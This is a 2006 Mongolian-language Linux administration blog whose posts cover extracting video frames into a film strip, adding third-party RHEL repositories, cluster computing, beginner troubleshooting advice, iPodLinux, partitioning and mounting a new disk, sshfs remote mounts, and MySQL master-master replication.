Friday, December 22, 2006

How to make Film strip

Саяхан нэг төслийн хэсэгт ийм функциональ бүхий нэгэн жижигхэн скрифт бичснээсээ та бүхэнд сонирхуулж байна.
Зорилго нь өгөгдсөн видео файлаас өгөгдсөн тооны фрэймүүдийг зураг болгон салгаад уг салангид зургуудыг нийлүүлж нэг зургийн файл болгох. Өөрөөр хэлбэл дээр үеийн киноны плёнк шиг буюу дараах зураг шиг:


Өгөгдсөн файл: softboy.avi
Өгөгдсөн фрэймын тоо: 5
Гаралтын файл: softboy.avi.png

1. Фрэймүүдийг задлах
mplayer -ss 1 -frames 4 -vo png softboy.avi

Үүний дараа 00000001.png 00000002.png 00000003.png 00000004.png 00000005.png гэсэн зургийн файлууд үүснэ.

2. Салангид фрэйм зургуудийг нэгтгэх
convert -resize 200x100 -border 10x4 -bordercolor black 0000000*.png +append softboy.avi.png

Ингээд л болчихлоо. Үүнд mplayer, imagemagick гэсэн хоёр хэрэгслийг ашиглаж байгаа ба үүнийг системдээ суулгахдаа

RH, FC системүүдэд өмнөх бичлэгийн адил:
up2date -i mplayer imagemagick

Debian, Ubuntu системүүдэд:
apt-get install mplayer imagemagick


цааш унших...

RHEL's up2date Yum Repository

Блог дээрээ бичлэг хийлгүй их удчихажээ. RedHat Enterprise Linux ашигладаг админууд маань стандарт RedHat Network-ын (up2date) package channel-уудад байдаггүй өөр програм, package-уудыг хэрхэн суулгах вэ гэсэн асуулт их тавьдаг. Надад өөрт маань ч mplayer, ffmpeg, mencoder гэх мэт зөндөө л нэмэлт хэрэгсэлүүдийг ашиглах шаардлага гардаг.

Үүнд up2date хэрэгсэлд Yum буюу (Yellow dog Updater Modified) гээд rpm software updater, installer хэрэгсэл (tool)-ийн repository-г ашиглах нь дажгүй сонголт.

Өөрөөр хэлбэл стандарт програмуудыг RHN-оос суулгаад, энд байдаггүй нэмэлт зүйлсийг Yum-ын сангаас суулгая:

1. /etc/sysconfig/rhn/sources файлд дараах мөрүүдээс өөрийн системд хамаарах хэсгийг нэмнэ:

### Dag RPM Repository for Fedora Core
yum dag http://apt.sw.be/fedora/3/en/$ARCH/dag ## FC3-г ашиглаж буй бол
yum dag http://apt.sw.be/fedora/2/en/$ARCH/dag ## FC2-г ашиглаж буй бол
yum dag http://apt.sw.be/fedora/1/en/$ARCH/dag ## FC1-г ашиглаж буй бол

### Dag RPM Repository for Red Hat Enterprise Linux
yum dag http://apt.sw.be/redhat/el4/en/$ARCH/dag ## RHEL4-г ашиглаж буй бол
yum dag http://apt.sw.be/redhat/el3/en/$ARCH/dag ## RHEL3-г ашиглаж буй бол

2. Үүний дараа системээ шинэчилнэ:
up2date -u

3. Шинээр програм суулгахдаа:
up2date -i mplayer ffmpeg mencoder

гэх мэт

Мөн RedHat, Fedora систем дээр Debian системийн Apt (updater, installer) хэрэгслийг ашиглах боломжтой. Дэлгэрэнгүйг энэ линкээс уншаарай.


цааш унших...

Tuesday, December 12, 2006

Cluster Computing

Кластерийн тухай
Кластер нь суперкомпьютерийн технологид хамаарах ойлголт бөгөөд маш их хэмжээний тооцоололт, бодолт гэх мэт нүсэр ажиллагаанд зэрэгцээ байдлаар компьютеруудийг холбож, бодолтыг хуваан авч нэгэн зэрэг гүйцэтгэснээр ажиллагааны хугацаа, бүтээмжийг ихээр дээшлүүлэх аргачлал юм. Тухайн бодлого нь зэрэгцээ хэлбэрээр хуваагдах боломжтой үед уг аргачлалыг хэрэглэнэ. Хэрэглээний жишээ гэвэл: нууц үгийг тайлахад бүх боломжуудыг шалгах аргыг олон хуваах, анимацын рендер хийх үед видео фрэймүүдийг хэсэгчлэн хуваан гүйцэтгэх гэх мэт...

Монгол дахь хэрэглээний тухай

Энэ намрын SysAdmin Summit 2006 дээр манай анхны алтан хараацайнуудын нэг болох Монголын Үндэсний Статистикийн ахтай Линукс системээр супер компьютер хэрхэн хийх, мөн монголд юунд ашиглах талаар хэсэг ярилцаад авсан юм. Тэр ах ярихдаа өмнө нь Windows системээр гурван мөчиртэй (processor/cluster node) кластер хийсэн үүгээр өмнө нь нилээд хэдэн цаг болж байж гаргадаг тооцололтын ажиллагааг хэдхэн минут болгож хурдасгасан гэж байлаа. Уг систем нь зарим нэг зүйлийг хийхэд болж байгаа ч өөр бусад тооцололтыг хийхэд боломжгүй байгаа учраас Линукс кластерийг сонирхож байлаа. Жишээ нь Компьютерийн 3D буюу 3н хэмжээст график, хөдөлгөөнт дүрс, эффектийг хийх. Мөн зарим статистик мэдээлэлийг тооцлоход гадны төвүүдэд захиалга өгдөг ба үүний төлбөрт нилээд хэдэн мянган доллар алддагийг болиулах гэх мэт ажиллагаанд хэрэглэмээр байна гэв.
Бид хэдийгээр гадны томоохон төвүүдэд ийм хүчирхэг кластерууд ашигладагыг мэдэж байсан ч хараахан монголд маань хэрэглээ бий болоогүй гэж бодож байсан нь буруу байж гэдгээ тэгэхэд дахин нэг бодоход хүргэж билээ.

Бидэнд хамааралгүй зүйл эргээд бидэнтэй хэрхэн хамааралтай болох вэ?
Дараахан нь Эрдэнэт, Дархан руу ажилаар явж байлаа. Замд таарах тариалангийн том том талбайнууд, ургацаа хурааж байгаа ажиллагаа зэргийг хараад үнэхээр сэтгэл хөдөлж, эргээд өмнөх кластер системийн ач тусыг ойлгох шиг болсон шүү.
Тайлбарлавал, уг кластерийг хийхэд нэг их зардал шаардагдахгүй боловч ач тус нь их юм. Жишээ нь, Одоо байгаа манай цаг агаарын урьдчилсан мэдээ нь ирэх долоо хоногийн тоймыг 21 аймаг болон Замын-Үүд, Чойр, Ханбогд гэсэн хэдэн төв суурингуудаар гаргадаг бөгөөд бусад газруудын талаар "баруун зүгийн нутгаар", "төвийн нутгаар" гэж бүрхэг хэлэхээс биш яг тэр аймгийн тэр сум гэх мэт гаргадаггүй байна. Өнгөц бодоод үзэхэд өнөөдөр бороо орох уу орохгүй юу, өдрийн дулаан хэд орчим байх зэрэг нь бидэнд нэг их онц чухал биш санагдана. Гэвч байдал тийм биш. Манайх шиг байгалын эрхшээлд байдаг мал аж ахуй, газар тариалан зэрэг салбартай улсад нарийвчилсан, үнэнд ойрхон цаг агаарын мэдээ амин чухал хэрэгтэй юм. Жоохон хийсвэрлээд үзье:
Кластер компьютергүй учраас энэ олон суурин, төвүүдийн мэдээллийг хурдан боловсруулж, цаг агаарын урьдчилсан мэдээ гаргаж амжихгүй. Мэдээ сумдаар нарийн гарахгүй учраас мөндөр орчихлоо гэхэд яах вэ, хурааж амжаагүй байсан тариа "ёстой будаа". Үүнээс улбаалаад будаа, гурилны үнэ "тэнгэрт гарна". За ингээд бодоод үзэхээр цаг агаарын мэдээний үнэ цэнэ, түүний үнэн болоод хүртээмжтэй, хурдан байдал нь харагдаж байгаа биз.

Өөр жоохон хошин жишээ авбал: Томоохон хотод ойрд бороо шороотой байна гэсэн цаг агаарын урьдчилсан мэдээ гарлаа. Би жишээ нь худалдаачин байг. Тэгвэл өөрт байгаа хамаг цув, борооны шүхэрээ гаргаад борлуулна биз дээ.

За тэгэхээр цаг уурын судалгааны төвийг супер компьютер буюу кластер системээр хангаж, тэдгээрийн тооцолол хийх программчлалын асуудлыг шийдчихэд нилээд өөр дүр зураг гарна даа.

Links
Weather & Ecosystem Modeling
The Earth Simulation
Computer Cluster

Build a digital animation system
IBM -ын сайт дээр дижитал анимэшний студийн графикийн боловсруулалт (render) хийх кластер системийн талаар нийтлэгдсэний линкийг энд тавилаа. Өөрөөр хэлбэл бидний шимтэн үздэг Шрек, Мангасуудын компани, Немогийн эрэлд зэрэг 3 хэмжээст хүүхэлдэйн киног бүтээхэд өнөөх л Линукс кластерууд маань хүчин зүтгэж байгаа хэрэг юм.
Part 1
Part 2
Part 3
Part 4
Part 5

Энэ сэдвийг цааш үргэжлүүлэх болно.


цааш унших...

Tuesday, November 07, 2006

Линукс сисадминууд анхны хүндрэлүүдийг хэрхэн давдаг вэ?

Сүүлийн үед Linux эхлэн суралцаж байгаа найзууд, танилууд маань анх тохиолддог бэрхшээлд хэтэрхий автагдаад, бие даан шийдвэрлэж чадахгүйд хүрэхээрээ Линукс хэцүү, бэрх гэх мэтчилэн шантраад байгаа нь ажиглагдлаа. Мөн зарим хүмүүсийн хүсэлтийн дагуу элдэв програм суулгах, тохируулах заавар зэргийг энд тэр бүр бичээд байх нь боломжгүй тул

Линукс эхлэн суралцаж буй СисАдминуудад анхлан тохиолдох хүндрэлүүдийг давахад нь жоохон ч гэсэн туслах зорилгоор товч бичихээр шийдлээ.


Би үүнийг яаж давдаг байсан бэ
Би гэж хүн анх Линукс системийг 2001-2002 онд л байхдаа RedHat Linux 7.0 хувилбарыг хамгийн анх суулгаж байсан санагдана. Тэр үед Anaconda (RedHat Linux Installer) одоогийнх шиг ийм тухтай байсангүй зарим зүйлсийг гараараа хийдэг байлаа. Жишээ л гэхэд автомат-аар partition хуваахгүй, Windows гэх мэт бусад систем суусныг автоматаар таньж Lilo,Grub гээд систем эхлүүлэгч нарт оруулдаггүй гэх мэт.
За тэгээд анх хэвийн ажиллагаатайгаар суулгаж сурталаа нилээд олон удаа оролддог байсан. Миний хувьд шинээр танилцаж буй Линукс систем маань үнэхээр их сонирхол татаж, хүчин чадлыг нь биширч байсан тул хэзээ ч хүнд хэцүү байна хэмээн орхиж байсангүй. Заримдаа шийдэж чадахгүй зүйлс тохиолддог ч үүнийг дараах аргуудаар шийдвэрлэхийг оролддог:

1. Өөрийн системээ алдаагүй эсэхийг нягтлах, алдаагүй зөв хийсэн эсэхээ шалгах
2. Google-ээс хайх
3. Тухайн програм, технологийн албан ёсны вебсайтаас холбогдолтой мэдээлэл, гарц хайх
4. Илүү туршлагатай нэгнээс зөвлөгөө авах
5. Тухайн програм, технологийн талаар илүү дэлгэрэнгүй, нарийн мэдлэг олж авах, унших
6. Үүнийг орлуулж болох бололцоо байгаа эсэхийг хайх, олж авах

1. Өөрийн системээ алдаагүй эсэхийг нягтлах, алдаагүй зөв хийсэн эсэхээ шалгах
Системд маань маш олон төрлийн програм суусан байх тул эдгээр нь алдаагүй цэвэр суусан ажиллаж байгаа эсэхээ олж тогтоох нь чухал юм. Үүндээ бат итгэсний дараа та тухайн ажиллагааг алдаагүй үнэн зөв хийсэн эсэхээ нягтлах хэрэгтэй. Үүний тулд тухайн програмыг хэрхэн суулгах талаархи албан ёсных нь гарын авлага материалыг нь уншиж, нарийн танилцах хэрэгтэй болно.

2. Google-ээс хайх
Дараагийн шатанд та зөв суулгасан ба таны систем алдаагүй байсан бол энэ нь тухайн програмын өөрийн нь алдаа болон бусад төрлийн ямар нэгэн асуудал байж болно. Алдааны мессеж болон алдааны log бүртгэл зэргээс нь сэжүүр олж аваад түүгээр түлхүүр үг хийн интернэт хайлтын системүүдээс хайхад ихэнхи ийм асуудлыг шийдвэрлэчихдэг туршлага бий шүү. Нээлттэй Эхийн Програмуудыг маш түгээмэл ашигладаг тул эдгээрийн талаарх мэдээлэл ч нээлттэйгээр түгээмэл байдаг.

3. Тухайн програм, технологийн албан ёсны вебсайтаас холбогдолтой мэдээлэл, гарц хайх
За дараагийн шатанд энэ нь зөвхөн таньд л тохиолдсон эсвэл маш ховор тохиолдол бол та албан ёсны вебсайтаас нь энэ талаар ямар нэгэн зүйл бичигдэж байсан эсэхийг нягтлах хэрэгтэй. Эсвэл тухайн програмыг түгээгч баг, холбогдох хаяг руу имэйл бичин харилцах нь дээр боловуу.

4. Илүү туршлагатай нэгнээс зөвлөгөө авах
Уг програмыг удаан хэрэглэсэн мөн илүү туршлага бүхий нэгнээс энэ талаар асууж лавла. Имэйл лист, имэйл груп, веб форумууд гээд Линукс хэрэглэгчид дэлхий даяар байгаа ба таньд дуртайя хэлж өгөх болно.

5. Тухайн програм, технологийн талаар илүү дэлгэрэнгүй, нарийн мэдлэг олж авах, унших
Мөн ихэнхи алдаа болон програм ажиллахгүй байгаа зэрэг нь тухайн програм болон технологийн талаар мэдлэг нимгэн болон шаардлагатай нарийн зүйлсийг ойлгоогүйгээс бас ихэвчлэн гардаг. O'Reilly энэ талаар бараг гаргаагүй ном байхгүй байх. Боломжтой бол номыг нь hard copy эсвэл soft copy -гоор нь олж авч уншвал нилээд зүйлсийг мэдэж авна.

6. Үүнийг орлуулж болох бололцоо байгаа эсэхийг хайх, олж авах
За хамгийн сүүлд тухайн програмыг дээрхи бүх аргаар оролдоод суулгаж дийлэхгүй бол зүгээр л орхичих. Болохгүй бол заавал амжуулах гэж зүтгэж өөрийгөө зовоосноос үүнтэй адилхан ажиллагаатай мөртлөө өөр програм ч зөндөө бий шүү дээ. Бид чинь Нээлтэй Эх бүхий Програм Хангамжийн ертөнцөд амьдарч байна. Өөр нэгийг хайн олж аваад л дахиад эхнээс нь үзнэ дээ. Харин дараа нь та үүнийг орлуулсны дараа өөр тест систем дээр ч юмуу тухтайхан шиг дахиад туршаад үзэж болно шүү дээ.

Мөн та анхлан линукс системийг суралцаж байгаа бол Линукс системболон Нээлттэй Эхийн Програм Хангамжийн талаар эхлээд сайн уншиж, суралцах шаардлагатай юм. Үлгэрлэвэл боксын бээлий гэж юу болох дэвжээ болон тулааны техник зэргийг сайн мэдээгүй байж боксын тулаанд орохтой агаар нэгэн. Иймээс эхлээд шаардлагатай мэдлэг, чадварыг олж ав, харин бусад нарийн мэдлэг, туршлагыг явцын дунд олж авах хэрэгтэй. Үүний тулд өдөр бүр шинийг уншиж, мэдэж, туршиж байгтун. Өдөр бүрийн энэ хөдөлмөр, хичээл таныг нэг л өдөр илүү түвшинд аваачсаныг мэдрэх болно.

Таны амжилт бүтээл арвиг байг!


цааш унших...

Monday, November 06, 2006

iPodLinux - Hacking iPod


Сүүлийн үед embedded system тэр дундаа embedded linux миний сонирхолыг ихээр татах болсон л доо. Солонгост сурдаг найз Тэгшбаяр маань энэ чиглэлээр нилээд туршлагажиж байгаа ба намайг бас "уруу татсан" нь энэ. ;) Бид хоёр хааяа мөрөөддөг л дөө. Жижигхэн хөөрхөн ч нилээд супер маягийн халаасны Монгол-Гадаад хэлний тольбичиг, ярианы дэвтэр бүхий электрон төхөөрөмж хийх талаар.. Дээр нь нэмээд медиа тоглуулагч, зургын цомог, фм радио хүлээн авагч энэ тэртэй гээд л... За тэгээд хийх юм, хэрэгцээ зөндөө зөндөө...

Тэгээд яг хийх гэхээр өнөөх л ядуу буурай орны зовлонд унана даа. Наад зах нь л Development Board, Flash ROM, Tester энэ тэрээс өгсүүлээд л тоног төхөөрөмж байхгүй. Бүгдийг гаднаас авна гэвэл нилээд хөөрхөн төсөв гарчих жишээтэй. Байхгүйнээ :(

Гэхдээ хүний сонирхол татагдаад, тэмүүлээд ирвэл ямар нэгэн байдлаар хийж үзэж байж л санаа амарна. (Дээр үед "шилэн форд" чаачаантай адил машинийг нэг монгол дархан дан модоор хийчихсэн гэсэн яриа ч байдаг шүү)

"Чанга гар" (hackers/crackers)-ууд маань аль хэдийнэ л нөгөө үйлдвэрлэгдэж гарсан хэдэн төхөөрөмж, бүтээгдэхүүнийг өөрийн хүссэнээр өөрчилөх, нэмэх, сайжруулах зүйлийг гаргачихдаг хойно, Apple iPod mp3 тоглуулагч төхөөрөмж дээр µCLinux port-лж орхижээ.

Хэрвээ таньд хуучин ч юмуу iPod байдаг ба linux систем ашиглах дуртай, тэгээд дээр нь өөрийн гэсэн mp3 тоглуулагч хиймээр байвал iPodLinux татаж аваад хакдаад үз.

Ер нь инженер сэтгэлгээтэй хүмүүс аль хүүхэд байхаасаа л тоглоомоо задлаад үзчихдэг, яаж ажилладгыг ухдаг сониуч зантай байдаг. Энэ бол тийм л зангийн хэлтэрхий гэмээр юмуу даа. За ингээд би ч бас нэг хуучин iPod-ыг customized own mp3/media player, game box болголоо.

Happy Hacking iPod!


цааш унших...

Friday, October 27, 2006

Adding additional hard drive in Linux

Linux төрлийн систем анхлан хэрэглэгчид маань сервертээ шинээр hard disk суурилуулах нь ихээхэн түвэгтэй гэж боддог. Windows дээр бол залгачихаад л системээ эхлүүлэхэд өөрөө суурилагдчихсан байдаг шүү дээ. Тэгэхээр энэ удаа шинээр дискээ яаж Линукс системд нэмэх талаар үзэцгээе!

Disk, partition-ны нэрсийн тэмдэглээ

Дискний нэрүүд нь 3 үсгээс тогтох бөгөөд IDE болон SCSI disk drive-ууд тус бүр "hd", "sd" гэсэн 2 үсгээр эхлэдэг. Гурав дахь үсэг нь тухайн дискнийг аль disk controller-ын аль interface болохыг заадаг.

IDE disk drive бол дараах "a"-с "h" хүртэл,
SCSI disk drive бол дараах "a"-с "p" хүртэл байж болно.

Тэгэхээр ихэнхи системд эдгээр 3 дахь үсэг нь дараах хэлбэртэйгээр нэрлэгдсэн байна.

# a болон b - 1 дэх IDE controller-ын Primary interface дэх Master болон Slave disk
# c болон d - 1 дэх IDE controller-ын Secondary interface дэх Master болон Slave disk
# e болон f - 2 дахь IDE controller-ын Primary interface дэх Master болон Slave disk
# g болон h - 2 дахь IDE controller-ын Secondary interface дэх Master болон Slave disk

Нэрний дараачын хэсэг нь тоо байх бөгөөд энэ нь тухайн диск дэхь partition-ы дугаарыг заана. Жишээ нь: hda1, hdb2, sda1, sdd4 гэх мэт

IDE disk drive бол дараах 1-с 16 хүртэл,
SCSI disk drive бол дараах 1-с 15 хүртэл байж болно.

1-4 дугаартай бол primary, extended
5-16 (15) дугаартай бол logical

Өөрийн дискүүд дэх partition-оо харах гэвэл:

# ls /dev/hd*
эсвэл
# ls /dev/sd*

Өгөгдөл агуулсан шинэ диск нэмэх

Эхлээд мэдээж Линукс сервер компьютерээ унтраагаад шинэ хатуу диксээ залгана. Үүний даа системээ эхлүүлээд дараах командыг суперхэрэглэгчээс өгнө:

# ls /proc/ide

Үр дүн нь дараах хэлбэрээр харагдана:

drivers hda@ hdc@ ide0/ ide1/ piix

Бидэнд hdc гэсэн шинэ хатуу диск суурилагджээ гэж үзье:

Одоо уг диск өөртөө partition агуулсан эсэхийг шалгахдаа:

# fdisk -l /dev/hdc

Disk /dev/hdc: 64 heads, 63 sectors, 787 cylinders
Units = cylinders of 4032 * 512 bytes

Device Boot Start End Blocks Id System
/dev/hdc1 * 1 610 1229728+ 83 Linux
/dev/hdc2 611 787 356832 5 Extended
/dev/hdc5 611 787 356800+ c Win95 FAT32 (LBA)

гэсэн үр дүн харагдлаа.

Одоо уг дискний эдгээр partition-уудыг системдээ залгаснаар дээрх мэдээлэлтэй ажиллах боломжтой болно:

# mount /dev/hdc1 /mnt/hdc1
# mount /dev/hdc5 /mnt/hdc5

5 дахь нь Windows системийнх тул та үүнийг файл системийн төрлийн заан залгах шаардлагатай юм:

# umount /mnt/hdc5
# mount -t vfat /dev/hdc5 /mnt/hdc5

Ихэнхи хэрэглэгддэг файл системийн төрлүүд нь:

* msdos - FAT12 and FAT16
* vfat - FAT16 with long file name support, FAT32
* ext2 - primary Linux file system;
* ext3 - compataible with ext2 file system with log support
* reiserfs - new Linux file system with log support

эдгээр бөгөөд үүнээс гадна нилээд файл системүүдтэй Линукс систем ажиллах чадвартай.

Өгөгдөл агуулаагүй шинэ диск нэмэх

Дээрх жишээний hdc диск суурилагдсан гэж үзвэл дараах командыг өгнө:

#fdisk /dev/hdc
Command (m for help): _

гэсэн үг дүн гарч ирэх бөгөөд m үсгийг дарж тусламж харах боломжтой.

Command (m for help): m
Command action
a toggle a bootable flag
b edit bsd disklabel
c toggle the dos compatibility flag
d delete a partition
l list known partition types
m print this menu
n add a new partition
o create a new empty DOS partition table
p print the partition table
q quit without saving changes
s create a new empty Sun disklabel
t change a partition's system id
u change display/entry units
v verify the partition table
w write table to disk and exit
x extra functionality (experts only)

Шинэ дискэнд partition байгаа эсэхийг харахдаа p товчыг дарна:

Command (m for help): p

Disk /dev/hdc: 64 heads, 63 sectors, 787 cylinders
Units = cylinders of 4032 * 512 bytes

Device Boot Start End Blocks Id System

гэвэл уг диск хоосон байна гэсэн үг.

Шинэ partition үүсгэхийн тулд n товчыг дарна:

Command (m for help): n
Command action
e extended
p primary partition (1-4)

Энэ нь primary эсвэл extended төрлийн partition-ны алиныг үүсгэхийн заана. Бид p товч дарж шинэ partition-оо үүсгэнэ.

Үүний дараа partition-ны дугаарыг оруулна:

Partition number (1-4): 1

Уг partition-ны дискны аль цилиндрээс эхлэхийг оруулна:

First cylinder (1-787, default 1):

Using default value 1

Дараа нь уг partition-ны дискний аль цилиндрт төгсөх дугаар эсвэл нийт эзлэх хэмжээг оруулна.
Гэхдээ хэрвээ бид уг дискийг бүхэлд 1 л partition болгох бол шууд Enter товч дарчихад болно:

Last cylinder or +size or +sizeM or +sizeK (1-787, default 787):
Using default value 787

Command (m for help):

За нигээд бид шинэ partition үүсгэчихлээ. Шалгая:

Command (m for help): p

Disk /dev/hdc: 64 heads, 63 sectors, 787 cylinders
Units = cylinders of 4032 * 512 bytes

Device Boot Start End Blocks Id System
/dev/hdc1 1 787 1586560+ 83 Linux

Command (m for help):

Хэрвээ бид дээрхи partition-ыг устгах хэрэг гарвал d товч дараад дугаарыг оруулж өгнө:

Command (m for help): d
Partition number (1-4): 1

Command (m for help

За одоо уг шинэ partition-оо диск рүүгээ хадгалаад гарах хэрэгтэй:

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.

Дискыг форматлах

#mkfs -t ext3 -j /dev/hdc1

mke2fs 1.37 (21-Mar-2005)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
5029888 inodes, 10050657 blocks
502532 blocks (5.00%) reserved for the super user
First data block=0
307 block groups
32768 blocks per group, 32768 fragments per group
16384 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000, 7962624

Writing inode tables: done
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 29 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.

Шинэ partition-ыг файлсистем руу залгах

Шинэ хавтас үүсгээд түүнийг шинэ partition-ыг залгая (mounting):

#mkdir /backup
#mount -t ext3 /dev/hdc1 /backup

Нийт файлсистемд агуулагдаж буй partition -ыг харахдаа:

#mount | column -t

Системийг анх эхлэхэд автоматаар залгах

Дараах файлыг текст файл засварлагчаар нээгээд
#vi /etc/fstab

дараах мөрийг нэмнэ:

/dev/hdc1 /backup ext3 defaults 0 0

Төгсгөлд нь үүнийг мэдэж авснаар та Линукс системийн хэрэглээнд нэг алхам урагшиллаа. Амжилт хүсье!


цааш унших...

Friday, October 20, 2006

Secure remote filesystem mounting

Юуны өмнө ойрын үед хийж байгаа ажил үйлс маань маш урагштай байгаа болохоор сэтгэл санаа сайхан байна :)

Миний ажилладаг хэдэн сервер сүлжээгээр хоорондоо зарим файлуудаа share хийх шаардлага гарлаа.
- Эхлээд NFS (Network Filesystem) болгох санаатай нилээд үзлээ, бараг 2 өдөр суугаад нилээд их бэрхшээлтэй учирлаа. Миний ойлгосноор Sun-RPC буюу Remote Procedure Call ашиглаж ажиллаж байх шиг байна. Тиймээс энэ аргыг суулгахад хүндрэлтэй болоод аюул ихтэй гэж үзээд орхилоо.
-Дараа нь алдарт Samba-гаа ашиглахаар шийдлээ. Хоёр өдөр ашигласны эцэст permission problem-оос болоод бас л орхилоо.
-Нилээд олон distributed filesystem технологи, аргыг сонирхсоны эцэст sshfs буюу SecureShell FileSystem -ыг туршиж үзлээ. Эцэст ажиллагаа нь болон суурилуулахад маш энгийн зэрэг нь надад маш их таалагдав. (Сүүлийн үед зорилгодоо хүрч л байвал энгийн хялбар зүйл ашиглахаас ичихээ байсоон)

Товч танилцуулга

Будапештын нэг Linux hacker Miklos Szeredi анх FUSE (Filesystem in USErspace framework) гэж үүсгэсэн ба энэ нь sshfs үүсэх эх үндэс нь болжээ. Энэ FUSE Library нь Linux kernel 2.6.14-оос эхлэн албан ёсоор орсон юм байна. Үүнийг дижитал фотокамеруудын UBS холболт зэрэгт хамгийн их ашигладаг гэж ойлгов. ;)

1. Setup FUSE
Эхлээд FUSE -ээ кернелд модуль хэлбэрээр суулгах шаарлагатай.
2.6.14 кернелээс өмнөх кернелтэй Линус серверт үүнийг эх кодоос нь хөрвүүлж авахаас өөр аргагүй.

FUSE эх кодыг http://fuse.sourceforge.net/sshfs.html сайтаас татаж авах хэрэгтэй.

1.a Татаж авах
wget http://belnet.dl.sourceforge.net/sourceforge/fuse/fuse-2.5.3.tar.gz

1.b Задлая
tar xzf fuse-2.5.3.tar.gz

1.c Суулгах
cd fuse-2.5.3
./configure && make && make install && modprobe fuse

1.d Суусан эсэхийг шалгахдаа
lsmod | grep fuse

2. Setup SSHF

FUSE суусаны дараа SSHFS -ыг бас эх кодоос нь хөрвүүлж суулгах хэрэгтэй болно.

2.a Татаж авах

wget http://puzzle.dl.sourceforge.net/sourceforge/fuse/sshfs-fuse-1.7.tar.gz

2.b Задлах

tar xzf sshfs-fuse-1.7.tar.gz

2.c Суулгах

cd sshfs-fuse-1.7
./configure && make && make install

Санамж: RHEL4 дээр ингэж суулгахад /usr/local/lib дотор суулгаж байсан ба үүний дараа sshfs бүрэн ажиллуулахгүй байсан тул би дараах өөрчлөлтыг нэмэв:

ln -s /usr/local/lib/libfuse.so /usr/lib/libfuse.so
ln -s /usr/local/lib/libfuse.so.2 /usr/lib/libfuse.so.2

Магадгүй миний систем дээр PATH асуудал байсан байж магадгүй)

3. Mounting Remote FileSystem

Одоо ингээд таны системд sshfs суусан тул алсад орших өөр серверийн файл системыг өөрийн локаль систем руу залгая:

sshfs remote_userid@remote_host:/remote_directory local_directory

гэх мэт холбоход болчихно доо.

4. Unmounting Remote FileSystem

fusermount -u local_directory

Ингээд л болчихлоо. Хурдан байгаа биз!


цааш унших...

Wednesday, October 18, 2006

MySQL Master-Master Replication

Юунд хэрэглэх вэ?
Интернэт-д өдөрт л 2 сая орчим вебсайт шинээр мэндэлж байдаг гэж байгаа. Мөн том том мэдээллийн болон олон нийтийн сайтуудад нэр дор хэдэн мянган хэрэглэгчид ордог. Жишээ нь: Yahoo.com вебсайтаар өдөрт 2 сая гаруй хэрэглэгч үйлчилүүлдэг гэж хаа нэгтээгээс уншиж байсан санагдана. Тэгэхлээр ийм их ачаалал даахын тулд вебсерверүүдийг дэлхийгээр нэг тараан байрлуулаад тухайн хэрэглэгчид хамгийн ойр орших серверээс үйлчилгээг үзүүлдэг. Yahoo -д ийм 400 гаруй FreeBSD сервер байдаг гэж g0mb0 (Микомын инженер Ганболд) ахын нийтлэлээс харж байсан шүү.

За манай Монголд маань ч интернэт үйлчилгээ үзүүлдэг томоохон сайтууд олноор бий болох болжээ. Мөн Монголдоо хостинг хийгдсэн сайтууд руу гадаадаас ороход удаан ачаалдаг, эсрэгээр гадаадад хостинг хийгдсэн сайт руу Монголоос ороход удаад байдаг. Манай интернэт медиа үйлчилгээ үзүүлдэг on-air.mn сайтад ч яг ийм шаардлага гараад удаж байгаа юм.
Үүнийг шийдвэрлэхэд энэ мэдээллийн баазыг хувилах буюу mirror хийж болох юм.
Монгол дахь сервер нь дотоодын хэрэглэгчдэд, гадаад дахь сервер нь гадаадаас хандаж буй хэрэглэгчдэд үйлчилгээг үзүүлэх ба уг хоёр сервер өөрсдийн мэдээллийн тухайн агшин бүрт солилцож байхад л боллоо.

Үүнийг яаж хийх талаар энд товч бичиглэе!

MySQL Master-Master Replication

Эхлээд мэдээж Mysql сервер таны 2 сервер тус бүр дээр суусан байх ёстой.

1. Server Names

Master 1/Slave 2 ip: 202.131.2.131

Master 2/Slave 1 ip : 11.11.11.11

гэж бодъё.

2. Setup Master 1

Master1 серверийн /etc/my.cnf файлд дараах өөрчлөлтийг хийнэ.
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
old_passwords=1

log-bin
binlog-do-db= # replication хийгдэх баазын нэр
binlog-ignore-db=mysql # хийгдэхгүй баазын нэрс
binlog-ignore-db=test

server-id=1

[mysql.server]
user=mysql
basedir=/var/lib


[mysqld_safe]
err-log=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid


3. Create replication slave1 user

Master1 серверийн mysql сервис руу ороод дараах коммандыг өгнө:

mysql> grant replication slave on *.* to 'replication'@11.11.11.11 identified by 'slave';

Mysql сервисыг дахин ачаална:

/etc/init.d/mysqld restart

4. Setup slave1 replication

Slave1 буюу Master2 серверийн /etc/my.cnf файлд дараах өөрчлөлтийг хийнэ:

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
old_passwords=1

server-id=2

master-host = 11.11.11.11
master-user = replication
master-password = slave
master-port = 3306

[mysql.server]
user=mysql
basedir=/var/lib

[mysqld_safe]
err-log=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

5. Starting slave1 replication

Slave1 буюу Master1 серверийн Mysql сервисыг дахин ачаална:

/etc/init.d/mysqld restart

Slave replication-ыг эхлүүлнэ:

mysql> start slave;
mysql> show slave status\G;

Үүний дараа дараахтай адил үр дүн дэлгэцэнд гарна:

*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 202.131.2.131
Master_User: replica
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: MASTERMYSQL01-bin.000009
Read_Master_Log_Pos: 4
Relay_Log_File: MASTERMYSQL02-relay-bin.000015
Relay_Log_Pos: 3630
Relay_Master_Log_File: MASTERMYSQL01-bin.000009
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
Replicate_Do_DB:
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error:
Skip_Counter: 0
Exec_Master_Log_Pos: 4
Relay_Log_Space: 3630
Until_Condition: None
Until_Log_File:
